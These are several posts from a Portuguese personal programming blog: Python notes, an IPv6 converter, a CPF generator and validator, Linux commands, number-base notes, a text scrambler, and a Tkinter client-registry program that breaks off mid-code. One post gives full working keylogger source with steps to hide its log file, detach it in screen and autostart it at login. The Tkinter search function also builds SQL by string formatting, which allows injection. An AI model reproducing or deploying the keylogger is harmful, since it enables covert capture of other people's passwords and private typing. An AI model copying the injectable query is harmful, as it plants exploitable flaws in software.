domingo, 18 de abril de 2021

NOTASPY.py

 # 3425310 2020 12 17 https://docs.python.org/3/library/operator.html operadores python3
nome = "  felipe  "; nome[-8]; type(nome) # String é uma lista
nome.upper(); nome.lower(); "15" + str(2) # Concatena str
print("Felipe 10 vezes!\n" * 10); nome.capitalize() #1a maiúscula
nome.replace("e", "3"); nome.center(50); nome.count("e") # ocorrências;
len(nome); nome.strip() # retira espaços no começo e fim
nome.upper().strip() #dois comandos
nome[3:] #tira os 3 primeiros = 'elipe  '
nome[:5] #pega os 5 primeiros = '  fel'
nome[3:5] #dos 5 primeiros tira 3 primeiros = 'el'
nome[2:-3] # tira os 2 primeiros e 3 ultimos = 'felip'
x, z = 3, 3; x is z; # mesmo conteúdo
ord("谷") # numero unicode 35895
nome > "a" # str ordem unicode  
def listAtrib(): # a, b, c = 0, 0, 0
    return 1, 2, 3
a, b, c = listAtrib() # Atribui retorno a lista de variáveis
a, b = b, a #troca valor das variáveis
def  fun(x, y = 10, z = 5): # valor padrão a ultima var
    print(z)
    x += 7 # atribuição aumentada
    assert x == y # asserção de invariantes
print("123",__name__, end="")    #nome da função
import mat    # terminal na mesma pasta importar função    
import sys
# ao invés da função main, se importar o módulo, testes não executa, a classe apenas)
if __name__ == "__main__":
    mat.fib(int(sys.argv[1])) # insere/REQUER parâmetro no terminal (como script)((( python3 NOTASPY.py 1000 )))
a  = []
for i in range(50, 100, 5): # comeca 50, até 10, de 5 em 5
    a.append(i)
print(a)
dir("txt"); dir(6)    # métodos existenttes
# help("345".isdigit) # ajuda "q" sai # isdigit() se todos carac sao num turn True
"6".isnumeric() # str e retorna se True se for num
"a".isalpha()   #para alfabeto
from datetime import datetime as dt
now = dt.now() # datetime.datetime(2021, 4, 9, 6, 3, 43, 327367)
now.strftime('%Y/%m/%d %H:%M:%S') # Imprimi data
now.strftime('%H:%M:%S %d/%m/%Y') #formato contrario
import time
time.sleep ( 0.1 )  # atrazo
c,r=2,0.5;print('1/%d = %r' %(c, r)) # r= num reais
print("Oi", end='\t') # tabulacao
print(f'Nome: {c} - Idade: {r}')    # var = variante
# import subprocess as s # importa do sistema como s
# s.Popen(['xdg-open', 'http:\\google.com'])   #abre página no sistema
sys.platform    #indica a plataforma em uso # import sys
lista = [6,5,3,4,5,6,1,2] # tupla(), list[]
tupla = (1,2) # sort só funciona em list, ordena a lista e retorna NONE
sorted(lista); print(lista)  #retorna lista ordenada
lista.reverse(); print(lista)   #inverte lista
lista.sort(reverse=True); print(lista)    #revert o sort
import random
n1 = int(random.random()*10+1); print(n1)   #numero aleatório
lista.insert(0, "y"); print(lista)
del(lista[0]); print(lista)
lista2 = lista[:]   #clonar lista    
# CTRL + ]  #Indenta   CTRL + [  #Edenta (no Idle)
def test():
    a=100
    return a
print(test, test()) # <function test at 0x7efec2a3e1f0> 100

'''
====================   Operadores   ======================
+    (Adição/positivo)
-     (Subtração/negativo)
*    (Multiplicação)
/     (Divisão)(divisão: D é o dividendo, d é o divisor, q é o quociente e r é o resto.)
//    (Divisão inteira)
%    (Módulo) Resto da divisão entre operandos (dividendo menor retorna ele mesmo 3%7=3)
**    (Exponenciação) Número elevado a potência de outro (cuidado: negativos (-3**2=-9) e (-3*-3=9))
base**expoente (base negativa e expoente positivo “par” o resultado positivo, “impar” negativo)
======   Ordem de Precedência :  parêntesis(), da esquerda para direita
Bool Table    True, False
exponenciação    **            
mul/div/unários    *, /, //, %
adição        +, -
relacional    == , !=, <=, >=, ><
logico        not
logico        and
logico        or
matemática    parêntesis(), colchetes[], chaves{}
=========================================
Porcentagem = 100*0.655 = 65.5 (porcentagem/100*valor)
Raiz = **0.5
Modulo |-1| = calcular modulo = *-1
Números Complexos (C): C= {√-4, √-3, √--2} (√-1 = unidade imaginaria)
Números Reais(R): conjunto de elementos que inclui:
    Números Naturais (N): N = {0, 1, 2, 3, 4, 5,...}
    Números Inteiros (Z): Z= {..., -3, -2, -1, 0, 1, 2, 3,...}
    Números Racionais (Q): Q = {...,1/2, 3/4, –5/4...}
    Números Irracionais (I ): I = {...,√2, √3,√7, 3,141592.…, π}
=========================================
NotasPyPart2.odt
Folha de Consulta: https://www.ime.usp.br/~vwsetzer/python-opers-funcoes.html
--------------
#range(de 3, ate 20, a cada 1)=17
#(3,20,2)=9 (2*9=18)   #(3,20,3)=6 (3*6=18)
#(20,3,-1)=17   #(20,-3,-1)=23
a=0
for i in range(20,-3,-1):
    a+=1
print(a)
-------------------
Busca Sequencial e Binária: https://panda.ime.usp.br/aulasPython/static/aulasPython/aula23.html
Algoritmos elementares de ordenação: https://panda.ime.usp.br/aulasPython/static/aulasPython/aula24.html
Falta resolver:
 Mais funções com números reais: https://panda.ime.usp.br/aulasPython/static/aulasPython/aula14.html
Mais funções com reais: https://panda.ime.usp.br/aulasPython/static/aulasPython/aula15.html
Exercícios: https://panda.ime.usp.br/aulasPython/static/aulasPython/aula16.html
===========================================================================
Attribution 4.0 International (CC BY 4.0)
https://creativecommons.org/licenses/by/4.0/
Você é livre para compartilhar, copiar e redistribuir o material, em qualquer meio ou formato, adaptar, remixar, transformar e construir sobre o material para qualquer finalidade, mesmo comercialmente. Esta licença é de uma Obra Cultural Livre.
O licenciante não irá revogar essas liberdades, desde que você siga os termos da licença:
1- Atribuição - você deve dar o crédito apropriado , um link para a licença e página do autor, de maneira razoável, mas não que sugira que o licenciante endossa você ou seu uso.
2- Sem restrições adicionais - Você não pode aplicar termos legais ou medidas tecnológicas que restrinjam legalmente outros de fazerem qualquer coisa que a licença permita.
Autor: Felipe Tanii         Página: https://marocero2016.blogspot.com/
===========================================================================
====== ERRORS ======
----------------------------------------------------
SyntaxError: unexpected EOF while parsing   ( falta parênteses, falta “pass” em funcao )
SyntaxError: invalid syntax   ( falta ":" dois pontos)
TypeError: apaga_repetidos() takes 1 positional argument but 2 were given   (
    falta "self" em funcao da classe, )
IndexError: list index out of range  (falta 1 parametro)
======      =======      ======
'''

segunda-feira, 12 de abril de 2021

Converter números IPv6 para decimal - Python3

======================================

https://github.com/FelipeTanii/SinapseProtocol/blob/main/ipv6ToDec.py 

===============================================

''' Felipe Tanii 2021 04 12
File name: ipv6ToDec.py
Sintaxe: import ipv6ToDec as ip   
ip.ipv6Dec(2001:0db8:85a3:08d3:1319:8A2e:0370:7344)
>>> "8193(1) 3512(2) 34211(3) 2259(4) 4889(5) 35374(6) 880(7) 29508(8) "
'''
def abc(abc): # Converte letra hexadecimal para numero decimal
    ''' abc("str") >>> int
    '''
    abc = abc.lower()
    if abc == "a":
        abc = 10
    if abc == "b":
        abc = 11
    if abc == "c":
        abc = 12
    if abc == "d":
        abc = 13
    if abc == "e":
        abc = 14
    if abc == "f":
        abc = 15
    return abc

def ipv6Dec(ipv6): # Converte numeros ipv6 para decimal
    '''  ipv6Dec("str") >>> "str"
    '''
    ipv6 += ":"
    n, soma, octe, ipDec = 0, 0, "", ""
    for i in ipv6:
        if i.isalpha() or i.isnumeric():
            octe += i
        if not i.isalpha() and not i.isnumeric():
            n += 1
            if octe[0].isalpha():
                soma += 4096 * abc(octe[0])
            else:
                soma += 4096 * int(octe[0]) # 256 * 16 = 4096
            if octe[1].isalpha():
                soma += 256 * abc(octe[1])
            else:
                soma += 256 * int(octe[1]) # 16 * 16 = 256
            if octe[2].isalpha():
                soma += 16 * abc(octe[2])
            else:
                soma += 16 * int(octe[2])
            if octe[3].isalpha():
                soma += abc(octe[3])
            else:
                soma += int(octe[3])
            ipDec += str(soma) + "(" + str(n) + ") "
            soma, octe = 0, ""
    return ipDec

def test_ipv6Dec():
    ipv6 = "2001:0db8:85a3:08d3:1319:8A2e:0370:7344"
    r = "8193(1) 3512(2) 34211(3) 2259(4) 4889(5) 35374(6) 880(7) 29508(8) "
    #print(ipv6Dec(ipv6),type(ipv6Dec(ipv6)))
    #print(r, type(r))
    if ipv6Dec(ipv6) == r:
        return True
    else:
        return False
#print(test_ipv6Dec())

sábado, 10 de abril de 2021

Li a Bíblia Sagrada

 Li a Bíblia Sagrada toda em dois meses pelo Smartphone, para cumprir uma promessa.

 Para ajudar quem deseja ler dividi os livros para facilitar a leitura pelo Smartphone e deixei no Google Drive para compartilhar.

Acesse:  https://drive.google.com/drive/folders/1JB7mtv2Q3XIdVr5lnkhFX-ZXlPdF58kp?usp=sharing

quinta-feira, 8 de abril de 2021

Gerador e Validador de CPF em python3

 # Filename: cpf.py   Sintaxe: import cpf   Felipe Tanii 2021 04 09
def inf(): # informacoes sobre    
    print("CPF = 11 digitos, d1 ao d8 = Atr. Receita Federal, d9 nono digito = UF")
    print(" \
    0- RS                        \n\
    1- DF, GO, MS, MT, TO        \n\
    2- AC, AM, AP, PA, RO, RR    \n\
    3- CE, MA, PI                \n\
    4- AL, PB, PE, RN             \n\
    5- BA, SE                     \n\
    6- MG                        \n\
    7- ES, RJ                    \n\
    8- SP                        \n\
    9- PR, SC                     ")                
    print("Siglas:    \
    \nAC Acre                \nAL Alagoas                \nAP Amapá                \
    \nAM Amazonas            \nBA Bahia                    \nCE Ceará                \
    \nDF Distrito Federal    \nES Espírito Sant            \nGO Goiás                \
    \nMA Maranhão            \nMT Mato Grosso            \nMS Mato Grosso do Sul    \
    \nMG Minas Gerais        \nPA Pará                    \nPB Paraíba            \
    \nPR Paraná                \nPE Pernambuco                \nPI Piauí                \
    \nRJ Rio de Janeiro        \nRN Rio Grande do Norte    \nRS Rio Grande do Sul    \
    \nRO Rondônia            \nRR Roraima                \nSC Santa Catarina        \
    \nSP São Paulo            \nSE Sergipe                \nTO Tocantins            \
    \nDigitos verificadores = d10 e d11 ")

def val(cpf): # Validador de CPF pelo codigo verificador
    ''' val(str(11 digitos)), return "UF", "verificador", bool
    Error: print(erro)
    Sintaxe: cpf.val("12345678909") '''
    UF = ["RS", "DF, GO, MS, MT, TO", "AC, AM, AP, PA, RO, RR", "CE, MA, PI", "AL, PB, PE, RN", "BA, SE", "MG", "ES, RJ", "SP", "PR, SC"]
    d = cpf
    V, d10, d11 = "", 0, 0
    if d.isnumeric() and len(d) == 11:
        L = 10*int(d[0])+9*int(d[1])+8*int(d[2])+7*int(d[3])+6*int(d[4])+5*int(d[5])+4*int(d[6])+3*int(d[7])+2*int(d[8])
        c = L//11
        r = L%11
        if r == 0 or r == 1:
            d10 = 0
        else:
            d10 = 11 - r
            
        M = 10*int(d[1])+9*int(d[2])+8*int(d[3])+7*int(d[4])+6*int(d[5])+5*int(d[6])+4*int(d[7])+3*int(d[8])+2*d10
        c = M//11
        r = M%11
        if r == 0 or r == 1:
            d11 = 0
        else:
            d11 = 11 - r
                
        if str(d10) == d[9] and str(d11) == d[10]:
            V = True
        else:
            V = False
        return UF[int(d[8])], str(d10) + str(d11), V
    else:
        print("(ERRO): Digite os 11 numeros!")
        
def testVal():
    cpf = "12345678909"
    print(val(cpf)) # exemplo: 123 456 789 09
    return(val(cpf) == ('PR, SC', '09', True))
#print(testVal())

def gen(cpf): # Gerador de CPF (Digite qualquer numero de 9 digitos)
    ''' val(str(9 digitos)), return "UF", "CPF"
    Error: print(erro)
    Sintaxe: cpf.val("12345678909") '''
    UF = ["RS", "DF, GO, MS, MT, TO", "AC, AM, AP, PA, RO, RR", "CE, MA, PI", "AL, PB, PE, RN", "BA, SE", "MG", "ES, RJ", "SP", "PR, SC"]
    d = cpf
    d10, d11 = 0, 0
    if d.isnumeric() and len(d) == 9:
        L = 10*int(d[0])+9*int(d[1])+8*int(d[2])+7*int(d[3])+6*int(d[4])+5*int(d[5])+4*int(d[6])+3*int(d[7])+2*int(d[8])
        c = L//11
        r = L%11
        if r == 0 or r == 1:
            d10 = 0
        else:
            d10 = 11 - r
            
        M = 10*int(d[1])+9*int(d[2])+8*int(d[3])+7*int(d[4])+6*int(d[5])+5*int(d[6])+4*int(d[7])+3*int(d[8])+2*d10
        c = M//11
        r = M%11
        if r == 0 or r == 1:
            d11 = 0
        else:
            d11 = 11 - r
                
        return UF[int(d[8])], cpf + str(d10) + str(d11)
    else:
        print("(ERRO): Digite os 9 numeros!")
        
def testGen():
    cpf = "123456789"
    print(gen(cpf)) # exemplo: 280 012 389 38
    return(gen(cpf) == ('PR, SC', '12345678909'))
#print(testGen())

sexta-feira, 2 de abril de 2021

Comandos CLI Linux

 Comandos CLI Linux 

=== COMANDOS DO TERMINAL sudo apt update && sudo apt upgrade -y (atualizar)

$apropos (busca nos manuais) $ ctrl+C (interrompe um comando)

$ls (lista o conteúdo de um diretório) $ls -a (lista os diretórios, arquivos ocultos e executáveis) ( GUI ctrl+h)

$ls -l (Lista detalhadamente)(ou $ls -Rla) $pwd (mostra o diretório corrente)

$cd (muda de diretório) Ex: $cd /etc $cd - (volta para o diretório anterior)

$cd .. (volta um diretório acima) $cd ~ (volta para seu diretório /home)

$mkdir [pasta] (cria uma pasta e o nome) $mkdir [pasta1] [pasta2] (cria duas ao mesmo tempo)

$cat > [arquivo] (cria novo arquivo) $cat [arquivo1] >> [arquivo2] (acrescenta arq.2 em arq.1)

$touch [arquivo] (cria um arquivo) $diff [arquivo1] [arquivo2] (compara os dois arquivos)

$locate [arquivo] (localiza arquivo) $less [arquivo] (mostra o arquivo)

$more [arquivo] (mostra o arquivo) $nl [arquivo] linhas do arquivo)

$wc [arquivo] (linhas, palavras e bytes) $[comando1] | [comando2] (conecta dois processos) Ex:$vi /etc/X11/xorg.conf | more

$su (root)(BigLinux:/$ sudo su) $su [usuário] (muda usuário)

$shutdown (reinicia) $reboot (reinicio emergência) $ systemctl reboot -i (reinicia mesmo com outros users)

$passwd (troca a senha) $uname -a (sistema operacional)

$cat /etc/*release (mostra mais sobre) $dmesg (mostra informações do sistema)

$arch (arquitetura do PC) $lsmod (módulos)

$echo [mensagem] (exibe mensagem shell) $history (últimos 500 comandos que digitou)

$ps (mostra os processos corrente "PID") $xkill (fecha com ponteiro do mouse em X)

$date (dia e hora) $cal (calendário mês)

$cal [ano] (calendário do ano) $last [-num] (últimos logins)

$clear (limpa a tela) $free (detalhes da memória RAM)

$eject (abre a gaveta cd) $eject -t (fecha a gaveta)

$halt (desliga o PC) $hostname (nome da máquina)

$who (quem está conectado) $wget -c [URL] (download de arquivo)

$whoami (quem logou primeiro) $lspci (componentes PCI )

$init 6 (reinicia rápido) $init 0 (desliga rápido)

$startx (interface gráfica padrão) $ls / | wc -l (conta dentro do dir)

$ ps aux | less (processos) $ df -h (dispositivos conectados)

$mkdir -p [pasta]/[sub-pasta] (cria diretório e sub- diretório)

$rm -r [pasta ou arquivo] (deleta/apaga uma pasta ou arquivo)

$mv [arquivo1] [arquivo2] (renomeia uma pasta)

$mv [arquivo] [caminho] (move) Ex: $mv imagem. jpg /home/Wallpapers

$cp [arquivo] [caminho] (copia arquivo para caminho) Ex: $cp imagem.jpg /t4k_slack/Wallpapers

cp -R /home/user/ /tmp/ (Copia tudo)

$ln -s [caminho] [link] (cria um link) Ex: $ln -s /home/user/folderFile FolderFile

$type [executável] (caminho do executável) Ex: $type Firefox

$head [-linhas] [arquivo] (primeiras linhas do arquivo) Ex:$head -10 texto.txt

$tail [-linhas] [arquivo] (contrário do $head)

$sleep [tempo] && [comando] (timer executa comando) Ex:$sleep 2 && pwd

$top -d [segundos] (detalhes de processos) Ex: $top -d 3

$killall [programa] (força fechar programa)

$mkfs.ext2 (formata em formato Linux Ex: $mkfs.ext2 /dev/fd0

$superformat (formata em formato DOS) Ex: $superformat /dev/fd0

$vmstat -a [tempo] (memória swap em uso) Ex: $vmstat -a 2

#insmod [módulo] (levanta módulo a força) Ex: #insmod spca5x

#less /etc/passwd (exibe users) ou #getent passwd

# useradd -m (adiciona usuário)  #userdel -r [usuário] (deleta o usuário e pasta do diretório /home)

#chfn [usuário] (muda informações do usuário)

#chage -M [dias] [usuário] (expira usuário, dia agendado, requer root) Ex: #chage -M 20 fulano

$display [imagem.jpg] (mostra uma imagem no X, necessita ImageMagick) Ex: $display imagem.jpg

$convert [img.png] [img.jpg] (converte .png para .jpg necessita ImageMagick)

$mount [device] (monta um dispositivo) Ex: $mount /mnt/cdrom


$umount [device] (desmonta um dispositivo) Ex: $umount /mnt/cdrom

$du [diretório] (ou dentro da pasta: $du * )(Tamanho do arquivo))

$du -S [sub- diretórios] (tamanho dos sub- diretórios)

$du -msc \.*[!..] (apenas o tamanho de arquivos ocultos) $ du -hs * | sort -h (melhor)

du -msc \.*[!..] * (ocultos e normais)

$[comando] & (inicia o processo em segundo plano e libera o terminal) Ex: $Firefox & Ex: $Firefox &&

$tar -zxvf[arquivo.tar.gz] (descompacta .tar.gz)

$tar -jxvf [arquivo .tar.bz2] (descompacta .tar.bz2)

$time [comando] (tempo gasto para abrir programa)

$uptime (tempo desde o último boot)

$lsattr [folderFile] (lista atributos de um arquivo ou diretório)

$whereis [exe ou comando] (localiza o caminho do executável/comando)

$which (busca exe nos PATHs exportados)

$ watch -n 1 sensors (temperatura das cpus)(nesc. lm-sensors instalado)

$du --exclude ".*" pasta (lista subpastas menos as ocultas)

$alias [comandoAtual] [comandoNovo] (muda nome do comando) Ex:$alias dir=ls -l

TAB (duas vezes)( listar todos os comandos)

Ajuda sobre o [comando] --help ex: $wget --help

$ ls -Rl|egrep "^./|^-" (lista arquivos e diretórios)(achar muitos arquivos em diretórios)

$ file (ver metadados)

---chmod d= diretorio r= leitura w =escrita x= execuçao

0 : --- (sem permissão) 1 : --x (execução) 2 : -w- (escrita)

3 : -wx (escrita e execução) 4 : r-- (leitura) 5 : r-x (leitura e execução)

6 : rw- (leitura e escrita) 7 : rwx (leitura, escrita e execução)

Posicoes 1-root 2-grupo 3-publico : 733 = rwx wx wx

chmod 733 [arquivo ou diretorio] root todas permissoes , grupo nao le e publico nao le.

----$ chown user:group file.txt Alterar o proprietário e grupo de files e pastas

---$ chown jerry demo.txt Apenas o user

 

 

terça-feira, 23 de março de 2021

Numeros binarios e Hexadecimais

========================================================================
Hexadecimal: (7E5) ?
0 1 2 3  4  5  6  7  8  9  A  B  C  D (E) F  10 11 12 13 14 15 16 17 18
                           10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30
25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
                                          
Binário:    8+4+2+1=7 8421=14(E) 8421=5        
            0 1 1 1   1110       0101    (0111 1110 0101 = 7E5)
            
 21 ---------------------1024= 1024
 0052 1 ----------512+256+128=  896
 4215 2631 -------------64+32=   96
 8426 8426 8421 ----------4+1=    5
 0111 1110 0101        Resultado= 2021
 
 2**0=   0 | 2** 1=   2 | 2** 2=   4 2** 3=   8    (Potencias de 2)    
 2**4=  16 | 2** 5=  32 | 2** 6=  64 2** 8= 128
 2**9= 256 | 2**10= 512 | 2**11=1204 2**12=2048 ========================================================================
Hexadecimal:   15+16+16+16+16+16 14*16 16*16-1    +256+256 +256 +256
                F 1F 2F 3F 4F 5F E0    FF      100 200 300 400  500  
               15 31 47 63 79 95 224   255     256 512 768 1024 1280
7*256+224+5= 2021 :) 2021//256=7 2021%256=229 229//16=14 229%16=5 ======================================================================== 

Decimal para Binário: 45   ( // significa divisão inteira )

45//2= 22//2= 11//2= 5//2= 2//2= 1
 1      0      1     1     0     1 (resto das divisões = Binário) ========================================================================  


sexta-feira, 19 de março de 2021

Embaralha e desembaralha texto

 

# Na mesma pasta
# Nomeie o arquivo a ser criptografado como texto1
# Nomeie o arquivo a ser descriptografado como texto2
# Abra um terminal
# Digite: python3 cript8.py # Requer python3 instalado
def invert(string):
print('Invertendo', len(string))
pos = len(string)-1
stringRe = ""
while pos >= 0:
stringRe = stringRe + string[pos]
pos = pos - 1
return stringRe
def embaralha(entra):
print('Embaralhando', len(entra))
out1 = out2 = ''
for i in range(len(entra)):
if i == 0 or i % 2 == 0:
out1 += entra[i]
else:
out2 += entra[i]
out2 += out1
return out2
def desembaralha(entra):
print('Desenbaralhando', len(entra))
i, n, out = 0, 0, ''
n = len(entra) // 2
while i <= (len(entra)) // 2:
if n < len(entra): #print('!n', n)
out += entra[n]
n += 1
if i < len(entra) // 2:
out += entra[i]
i += 1
return out
def ch():
cho = input('\n1-cript, 2-deCript: ')
if cho == "1":
file = "texto1"
with open(file, 'r') as text:
txt = text.read()
texto = embaralha(invert(embaralha(txt)))
print(len(txt), len(texto), 'I/O\n', txt, texto)
file = "texto2"
with open(file, 'w') as text:
text.write(texto)
if cho == "2":
file = "texto2"
with open(file, 'r') as text:
txt = text.read()
texto = desembaralha(invert(desembaralha(txt)))
print(len(txt), len(texto), 'I/O\n', txt, texto)
file = "texto3"
with open(file, 'w') as text:
text.write(texto)
else:
print(' 1 ou 2 !')
ch()
ch()
ch()
 
# Felipe Tanii data de criação 20210117      
Arquivos: https://drive.google.com/drive/folders/1_xXsvF6bwStzR3a1teF0izkmzVQ_HLrE?usp=sharing

sexta-feira, 12 de março de 2021

Keylogger para Ubuntu

 # Felipe Tanii
----- Instalar os pacotes:
$ sudo apt install python3-pip
$ pip3 install pynput
$ sudo apt install screen
$ cd ~
$ nano .kllgr.py
------ Copie e cole no nano com shit+ctrl+v
# Felipe Tanii 2020 12 1
from pynput.keyboard import Listener
import re
arquivoLog = '.kllgr.log'
def capturar(tecla):
    tecla = str(tecla)
    tecla = re.sub(r'\'', '', tecla)
    tecla = re.sub(r'Key.', ' ', tecla)
    tecla = re.sub(r'space', '', tecla)
    tecla = re.sub(r'back', '<-', tecla)
    tecla = re.sub(r'enter', '\n', tecla)
    tecla = re.sub(r'shift', '', tecla)
    with open(arquivoLog, 'a') as log:
        log.write(tecla)
with Listener(on_press=capturar) as l:
    l.join()
----------------------------------------
- ctrl+o para salvar
- Enter
- ctrl+x para sair
$ nano .kllgr.sh
------ Copie e cole no nano com shit+ctrl+v
#!/bin/sh
# Felipe Tanii 2020 12 1
python3 .kllgr.py &  
screen &&
exit
----------------------------------------
- ctrl+o para salvar
- Enter
- ctrl+x para sair
$ chmod +x .kllgr.sh     (o torna executável)
-------------------- Para executar ao iniciar -----------------------
----------------------------------------
- Nos aplicativos do Ubuntu busque “Aplicativos iniciais de sessão”.
- Em adicionar, navegar adicione o .kllgr.sh
- Nomeie como kllgr e reinicie
- O arquivo esta oculto em .kllgr.log na sua pasta de usuário
- ctrl + h para visualizar arquivos ocultos
----------------------------------------

------------------ OU -----------------------------------------------

------ Usar o kllgr sem reiniciar ou adicionar na inicialização
- No terminal:
$ screen    (abre primeira sessão)
(tap space)
$ python3 .kllgr.py &        (Executa & libera)
$ screen &&                    (Abre nova sessao)
(fechar o terminal)
$ ps ax | grep .kllgr.py    (ver se executando)
$ kill (numero do PID)        (mata o processo)(desliga o kllgr)
---------------------------------------- 

Arquivos:  https://drive.google.com/drive/folders/1UqV69RviZA33gwzpksaSQLFfOGfW97nX?usp=sharing



segunda-feira, 8 de março de 2021

Codigo ate a aula 16 do Curso Python Tkinter do RfZorzi - Rafael Serafim

# https://www.youtube.com/watch?v=RtrZcoVD1WM&list=PLqx8fDb-FZDFznZcXb_u_NyiQ7Nai674-


 

# sudo apt install python3-tk
# se nomear o file como tkinter.py (erro NameError: name 'Tk' is not defined)
# T do Tk() e L do Label(win... maisculos.
from tkinter import *
from tkinter import ttk
import sqlite3
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter, A4
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont
from reportlab.platypus import SimpleDocTemplate, Image
import webbrowser
from PIL import Image #sudo apt install python3-pil.imagetk
from PIL import ImageTk
root = Tk()
#label = Label(root, text="Hello, World!")
#label.place(x=1, y=1)
class Relatorios():
    def printCliente(self):
        webbrowser.open("cliente.pdf")
    def geraRelatCliente(self):
        self.c = canvas.Canvas("cliente.pdf")
        self.codigoRel = self.codigo_entry.get()
        self.nomeRel = self.nome_entry.get()
        self.foneRel = self.fone_entry.get()
        self.cidadeRel = self.cidade_entry.get()
        self.c.setFont("Helvetica-Bold", 20)
        self.c.drawString(200, 800, 'Ficha do cliente')
        self.c.setFont("Helvetica-Bold", 10)
        self.c.drawString(50, 770, 'Codigo:')
        self.c.drawString(50, 750, 'Nome:')
        self.c.drawString(50, 730, 'Telefone:')
        self.c.drawString(50, 710, 'Cidade:')
        self.c.setFont("Helvetica", 10)
        self.c.drawString(100, 770, self.codigoRel)
        self.c.drawString(100, 750, self.nomeRel)
        self.c.drawString(100, 730, self.foneRel)
        self.c.drawString(100, 710, self.cidadeRel)
        self.c.rect(20, 700, 560, 90, fill=False, stroke=True)
        self.c.showPage()
        self.c.save()
        self.printCliente()
class Funcs():
    def limpa_cliente(self):
        self.codigo_entry.delete(0, END)
        self.nome_entry.delete(0, END)
        self.fone_entry.delete(0, END)
        self.cidade_entry.delete(0, END)
    def conecta_bd(self):
        self.conn = sqlite3.connect("clientes.bd")
        self.cursor = self.conn.cursor(); print("Conectando banco de dados")
    def desconecta_bd(self):
        self.conn.close(); print("Desconectando banco de dados")
    def montaTabelas(self):
        self.conecta_bd()
        ### Criar tabela
        self.cursor.execute("""
            CREATE TABLE IF NOT EXISTS clientes (
                cod INTEGER PRIMARY KEY,
                nome_cliente CHAR(40) NOT NULL,
                telefone INTEGER(20),
                cidade CHAR(40)
            );
        """)
        self.conn.commit(); print("Banco de dados criado")
        self.desconecta_bd()
    def var(self):
        self.codigo = self.codigo_entry.get()
        self.nome = self.nome_entry.get()
        self.fone = self.fone_entry.get()
        self.cidade = self.cidade_entry.get()
    def add_cliente(self):
        self.var()
        self.conecta_bd()
        self.cursor.execute(""" INSERT INTO clientes (nome_cliente, telefone, cidade)
            VALUES (?, ?, ?)""", (self.nome, self.fone, self.cidade))
        self.conn.commit()
        self.desconecta_bd()
        self.select_lista()
        self.limpa_cliente()
    def select_lista(self):
        self.listaCli.delete(*self.listaCli.get_children())
        self.conecta_bd()
        lista = self.cursor.execute(""" SELECT cod, nome_cliente, telefone, cidade FROM clientes
            ORDER BY nome_cliente ASC; """)
        for i in lista:
            self.listaCli.insert("", END, values=i)
        self.desconecta_bd()
    def OnDoubleClick(self, event):
        self.limpa_cliente()
        self.listaCli.selection()
        for n in self.listaCli.selection():
            col1, col2, col3, col4 = self.listaCli.item(n, 'values')
            self.codigo_entry.insert(END, col1)
            self.nome_entry.insert(END, col2)
            self.fone_entry.insert(END, col3)
            self.cidade_entry.insert(END, col4)
    def deleta_cliente(self):
        self.var()
        self.conecta_bd()
        self.cursor.execute(""" DELETE FROM clientes WHERE cod = ? """, (self.codigo,))
        self.conn.commit()
        self.desconecta_bd()
        self.limpa_cliente()
        self.select_lista()
    def altera_cliente(self):
        self.var()
        self.conecta_bd()
        self.cursor.execute(""" UPDATE clientes SET nome_cliente = ?, telefone = ?, cidade = ?
            WHERE cod = ? """, (self.nome, self.fone, self.cidade, self.codigo))
        self.conn.commit()
        self.desconecta_bd()
        self.select_lista()
        self.limpa_cliente()
    def busca_cliente(self):
        self.conecta_bd()
        self.listaCli.delete(*self.listaCli.get_children())
        self.nome_entry.insert(END, '%')
        nome = self.nome_entry.get()
        self.cursor.execute(
            """ SELECT cod, nome_cliente, telefone, cidade FROM clientes
            WHERE nome_cliente LIKE '%s' ORDER BY nome_cliente ASC""" % nome)
        buscanomeCli = self.cursor.fetchall()
        for i in buscanomeCli:
            self.listaCli.insert("", END, values=i)
        self.limpa_cliente()
        self.desconecta_bd()
class Application(Funcs, Relatorios):
    def __init__(self):
        self.root = root
        self.tela()
        self.frames_da_tela()
        self.widgets_frame1()
        self.lista_frame2()
        self.montaTabelas()
        self.select_lista()
        self.Menus()
        root.mainloop()
    def tela(self):
        self.root.title("Cadastro de Clientes") # titulo da janela
        self.root.configure(background= '#1e3743')
        self.root.geometry("700x500+0+0")
        self.root.resizable(True, True)
        self.root.maxsize(width= 900, height= 700)
        self.root.minsize(width= 500, height= 400)
    def frames_da_tela(self):
        self.frame_1 = Frame(self.root, bd = 4, bg= '#dfe3ee', highlightbackground= '#bcc8d8', highlightthickness= 3)
        self.frame_1.place(relx= 0.02, rely= 0.02, relwidth= 0.96, relheight= 0.46)
        self.frame_2 = Frame(self.root, bd = 4, bg= '#dfe3ee', highlightbackground= '#bcc8d8', highlightthickness= 3)
        self.frame_2.place(relx= 0.02, rely= 0.5, relwidth= 0.96, relheight= 0.46)
    def widgets_frame1(self):
        self.canvas_bt = Canvas(self.frame_1, bd=0, bg='#1e3743', highlightbackground = '#bcc8d8', highlightthickness= 3)
        self.canvas_bt.place(relx= 0.19, rely= 0.081, relwidth= 0.22, relheight= 0.19)
        self.bt_limpar = Button(self.frame_1, text= 'Limpar', bd= 2, bg= '#e4e4e4', fg= '#024c2c', font = ('times', 10, 'bold'), command= self.limpa_cliente)
        self.bt_limpar.place(relx= 0.2, rely= 0.1, relwidth= 0.1, relheight= 0.15)
        self.bt_buscar = Button(self.frame_1, text= 'Buscar', bd= 2, bg= '#e4e4e4', fg= '#024c2c', font = ('times', 10, 'bold'), command = self.busca_cliente)
        self.bt_buscar.place(relx= 0.3, rely= 0.1, relwidth= 0.1, relheight= 0.15)
        self.imgNovo = PhotoImage(file = "novo.png")
        self.imgNovo = self.imgNovo.subsample(3, 2)
        self.style = ttk.Style()
        self.style.configure("BW.TButton", relwidth=1, relheight=1, borderwidth=-5, bodercolor= '#bcc8d8', background= 'gray', image= self.imgNovo)
        self.bt_novo = ttk.Button(self.frame_1, style = "BW.TButton", command= self.add_cliente)
        self.bt_novo.place(relx= 0.6, rely= 0.1, relwidth= 0.1, relheight= 0.15)
        self.bt_novo.config(image= self.imgNovo)
        self.bt_alterar = Button(self.frame_1, text= 'Alterar', bd= 2, bg= '#e4e4e4', fg= '#024c2c', font = ('times', 10, 'bold'), command= self.altera_cliente)
